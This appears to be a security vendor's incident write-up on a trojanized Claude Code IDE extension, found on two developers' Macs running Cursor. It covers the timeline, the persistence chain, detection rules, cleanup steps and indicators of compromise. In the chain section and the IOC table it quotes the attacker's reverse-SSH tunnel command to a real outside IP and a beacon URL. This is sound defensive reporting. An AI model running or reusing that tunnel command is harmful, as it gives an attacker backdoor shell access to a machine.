Back

In the wild: Trojanized Claude Code extension opening SSH tunnels on developer Macs

Jin Hao Chan
Luis Garcia
Aaron (Zhongyuan) Hau
Jin Hao Chan
Luis Garcia
Aaron (Zhongyuan) Hau
October 30, 2026
Research
In the wild: Trojanized Claude Code extension opening SSH tunnels on developer MacsBright curved horizon of a planet glowing against the dark backdrop of space.Bright curved horizon of a planet glowing against the dark backdrop of space.

On October 30, OpenSourceMalware published an analysis of a trojanized build of the Claude Code IDE extension (anthropic.claude-code v2.1.313) that prepends a 66-line loader to the extension bundle, plants an SSH key, opens a reverse tunnel to an attacker server, and installs persistence disguised as an Apple service (original research).

The researchers were careful to note that their findings covered a single analyzed artifact, and that whether it had reached real users was not established.

We can close part of that gap. About 14 hours before the write-up went live, Daylight's agentic investigation platform (Aura) had already detected this exact implant executing on developer Macs in a customer environment, investigated it, and escalated it. Each investigation reached a conclusion within minutes of the alert arriving. This post walks through what we saw, how we pieced the investigation together, and the IOCs from our cases that add to the public record.

What happened

Two engineers at the same organization, on two different MacBooks, were running Cursor. Within 35 minutes of each other on October 29, the Cursor extension host process on each machine started performing actions no IDE should ever perform. This triggered EDR alerts on both endpoints, and Aura started its investigation.

Attacker activity and Aura investigations on both hosts, Oct 29 (UTC), with public disclosure 14 hours later.
Time (UTC, Oct 29) Host A Host B
19:40:04 Extension host writes ~/Library/LaunchAgents/com.apple.sysmond.plist. CrowdStrike raises a Launch Agent persistence detection.
19:40:06 curl ifconfig.me (public IP discovery), 2 seconds after the persistence write
19:51 CrowdStrike alert reaches Daylight; Aura opens a case and starts investigating
19:58 Aura completes investigation and escalates
20:15:11 CrowdStrike Launch Agent and authorized_keys detections from the same extension host lineage
20:18:30 Hidden ~/.config/.smt (script) and ~/.config/.smtk (PEM private key) written; Launch Agent unloaded and reloaded
20:27:34 ssh -N -R *:0:localhost:22 -i ~/.config/.smtk tunnel@134.209.82[.]225
20:35 CrowdStrike alert reaches Daylight; Aura opens a case and starts investigating
20:43 Aura completes investigation and escalates

The gap between the first malicious activity on each host and its case is the time it took for CrowdStrike to raise its detection and deliver it to Daylight. Aura's clock starts when the alert arrives, and from there each investigation kicked off and completed within minutes.

On Host A, the investigation found the extension reading files from anthropic.claude-code-2.1.313, the exact version named in the OpenSourceMalware analysis. On Host B the specific extension responsible was not recoverable from the telemetry, but every artifact matched one-for-one: same C2 address, same tunnel user, same Launch Agent name, same hidden file names in ~/.config.

Two hosts, one organization, inside an hour: that pattern is consistent with an extension update rolling out to developers, rather than a single targeted intrusion.

Why Cursor matters here

The OpenSourceMalware analysis pulled its sample from Open VSX, the open extension registry. Cursor, like several other VS Code forks, installs extensions from Open VSX rather than Microsoft's Visual Studio Marketplace. Both of the infected hosts were running Cursor, not VS Code.

The chain, as our telemetry saw it

Everything below ran as the logged-in user, as children of Cursor Helper (Plugin), the Cursor extension host. No user interaction with Claude was needed. The implant fires when the extension activates.

1. Persistence disguised as Apple. A Launch Agent named com.apple.sysmond.plist appeared in the user's ~/Library/LaunchAgents. There is no Apple component by that name, and Apple components do not live in a user-writable LaunchAgents folder. The process tree repeatedly ran launchctl unload and launchctl load -w against it.

2. A backdoor login path. An Ed25519 key was appended to ~/.ssh/authorized_keys (CrowdStrike AsepWriteAndModifiedAuthorizedKeys). The child processes also ran systemsetup -getremotelogin to check whether macOS Remote Login was on. We saw no evidence of it being successfully enabled.

3. Keys and scripts in hidden paths. CrowdStrike PemFileWritten events recorded private keys written to ~/.config/.smtk and to a temp file matching $TMPDIR/.stk_<10 hex chars>. A hidden script, ~/.config/.smt, was written and executed.

4. A reverse tunnel out. A loop ran autossh (falling back to ssh) with:

-N -R *:0:localhost:22 tunnel@134.209.82[.]225
-o StrictHostKeyChecking=no (host key checks disabled)
-i <hidden key file>
retry every 60 seconds

-R *:0:localhost:22 asks the attacker's server to open a port that forwards straight back into the victim's SSH daemon. Combined with the planted authorized key, this gives the operator an inbound shell on a laptop sitting behind the corporate NAT.

5. Beacon. Host A connected to 134.209.82[.]225 on both port 22 (tunnel) and port 8099 (the HTTP beacon described in the public analysis), right after the public IP lookup.

How the investigation got there

In the infection chain we’ve observed, there is no use of malicious binaries. The Cursor binaries on both hosts were signed, clean, and present on 49 other devices in the fleet. Hash reputation and "is this a known bad process" checks pass. A reviewer looking only at the alert sees a legitimate, fleet-wide developer tool raising a persistence detection, in a category where nearly every alert is a software updater or MDM agent doing its job.

Aura worked the cases the way a senior analyst would, by asking what the process actually did rather than what it was:

  • Lineage over identity. It tied the Launch Agent, the authorized_keys change, the PEM writes, and the SSH tunnel to the same Cursor Helper (Plugin) parent, and linked the .smtk file write directly to the identity file used by the tunnel.
  • Destination context. It separated expected IDE traffic (GitHub, api.anthropic.com) from 134.209.82[.]225: no DNS name, VPS-style hosting, non-standard port 8099, not on the customer's trusted infrastructure list.
  • Ruling out the benign explanations. It checked whether the behavior matched an MDM-deployed or IT-approved tool. The device was MDM-managed and had a sanctioned Claude Code install script, but nothing in that tooling writes an Apple-named Launch Agent or opens a reverse tunnel. Identity checks showed the users' logins were normal and from expected locations, which ruled out account takeover but said nothing in favor of the tunnel.
  • Honest about gaps. The plist contents were not captured and the responsible extension on Host B was not identified. The verdict said so explicitly, and escalated on what was proven: a persistent, disguised, unapproved reverse shell.

Our analysts reviewed both cases, confirmed the malicious verdict, and handed the customer a clear containment path the same evening. The public analysis that explained the full loader arrived the next morning.

What Daylight detects

Daylight covers the two stages of this implant that give an attacker durable access, across both CrowdStrike and SentinelOne endpoint telemetry.

Reverse SSH tunneling. We flag any ssh or autossh process that opens a reverse port forward exposing the endpoint's SSH server (-R <port>:<host>:22, or a RemoteForward to port 22), and any reverse forward made with host-key checking switched off (StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null). The match is built around the forward spec itself, so -NR, -fNR, quoted specs and ssh_config style options all match, while unrelated -R flags inside a remote command (ls -R, chown -R) do not. Because implants like this one reconnect every 60 seconds, alerts are grouped into one case per host and user per day, so a single infection produces a single investigation, not a flood.

Launch Agent and Launch Daemon persistence. We flag new or modified plists in user and local LaunchAgents and LaunchDaemons folders on macOS, excluding system and app-bundle paths. Fleet noise from MDM and updater plists (Jamf, Kandji, Microsoft AutoUpdate and similar) is tuned out per customer, so what remains is worth investigating.

Apple-named Launch Agents in a user's folder. On top of the general persistence coverage, a dedicated high-severity detection fires on any com.apple.*.plist written to a user's ~/Library/LaunchAgents. Apple ships its own agents under the SIP-protected /System/Library, so an Apple name in a folder that needs no admin rights to write is masquerading (MITRE T1036.005). com.apple.sysmond.plist is exactly this pattern. Before shipping it, we checked 14 days of file activity across every CrowdStrike and SentinelOne endpoint we monitor and found zero legitimate writes matching it, so when it fires, it is worth a look.

Each of these alerts goes straight to Aura, which runs the same lineage, destination and benign-explanation checks described above. A Launch Agent written by an IDE helper, followed by a reverse tunnel to an unknown VPS from the same process tree, is not something Aura closes as noise.

What to do now

If your developers run Claude Code in VS Code, Cursor, Windsurf, or another fork:

  1. Check the installed version. Look for anthropic.claude-code-2.1.313 under ~/.vscode/extensions, ~/.cursor/extensions, and equivalents.
  2. Sweep for persistence. ~/Library/LaunchAgents/com.apple.sysmond.plist, ~/.config/.smt, ~/.config/.smtk, $TMPDIR/.stk_*, and any authorized_keys entry with the comment svc-telemetry. On Linux, check crontab for @reboot entries pointing at ~/.config/.smt. On Windows, a scheduled task named SysMon or sysmon.cmd in Startup.
  3. Hunt the process pattern. Any ssh or autossh whose command line contains -R *:0:localhost:22, especially with an IDE helper in its ancestry.
  4. Block and contain. Block 134.209.82[.]225 on all ports. Treat an affected host as compromised: isolate it, preserve evidence, rotate credentials reachable from that user (cloud keys, git tokens, SSH keys), and rebuild rather than clean.

The takeaway

The most dangerous code on a developer laptop increasingly runs inside trusted, signed tools: IDEs, extensions, AI coding agents. Those binaries will always look clean, and alerts from them will always look like noise. The only way to catch this class of attack is to investigate behavior and lineage on every alert, fast, without the fatigue that comes from triaging hundreds of benign Launch Agent alerts a day from MDM tools and software updaters.

That's what Aura did here, on both hosts, within minutes of each alert and before the malware campaign had been disclosed.

Thanks to the OpenSourceMalware team for the detailed analysis of the loader.

Interested in building AI-native security engineering? We're hiring at Daylight Security. Reach out if this resonates with how you want to build software.

Appendix: Indicators of compromise

Observed in Daylight cases

Type Indicator Notes
IPv4 134.209.82[.]225 Tunnel endpoint (SSH 22) and beacon (TCP 8099)
SSH destination tunnel@134.209.82[.]225 Reverse tunnel user
Command line ssh -N -R *:0:localhost:22 -i <keyfile> tunnel@134.209.82[.]225 Also via autossh; StrictHostKeyChecking=no; 60s retry
File path ~/Library/LaunchAgents/com.apple.sysmond.plist Masquerading Launch Agent, reloaded with launchctl load -w
File path ~/.config/.smt Hidden tunnel launcher script
File path ~/.config/.smtk Hidden PEM private key, used as SSH identity
File path $TMPDIR/.stk_<10 hex> Temp private key (e.g. /var/folders/.../T/.stk_xxxxxxxxxx)
File modified ~/.ssh/authorized_keys Attacker key appended
Extension anthropic.claude-code v2.1.313 Files read by the alerting extension host on Host A
Parent process /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin) Legitimate signed binary; malicious code runs inside it
Child commands systemsetup -getremotelogin, launchctl unload / load -w, curl ifconfig[.]me Remote Login check, persistence reload, public IP discovery
EDR detections CrowdStrike MacLaunchAgent, AsepWriteAndModifiedAuthorizedKeys, PemFileWritten events Same process lineage on both hosts

From the OpenSourceMalware analysis (not observed directly by us)

Type Indicator
URL hxxp://134.209.82[.]225:8099/beacon
SSH key comment svc-telemetry
SSH key fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
SHA-256 (extension.js) ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
SHA-256 (embedded tunnel key) 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278
Windows persistence Scheduled task SysMon, sysmon.cmd in Startup, .config\smt.cmd, .config\smtk
Linux persistence @reboot crontab entry for ~/.config/.smt
Table of contents
form submission image form submission image

Ready to escape the dark and elevate your security?

Get a demo
form submission image form submission image

Ready to escape the dark and elevate your security?

Get a demo

Ready to escape the dark and elevate your security?

Stop settling for escalation factories. Get AI-native detection and response with senior experts and full accountability.

Book a Demo
moutain illustration
form submission image form submission image

Ready to escape the dark and elevate your security?

Get a demo
moutain illustration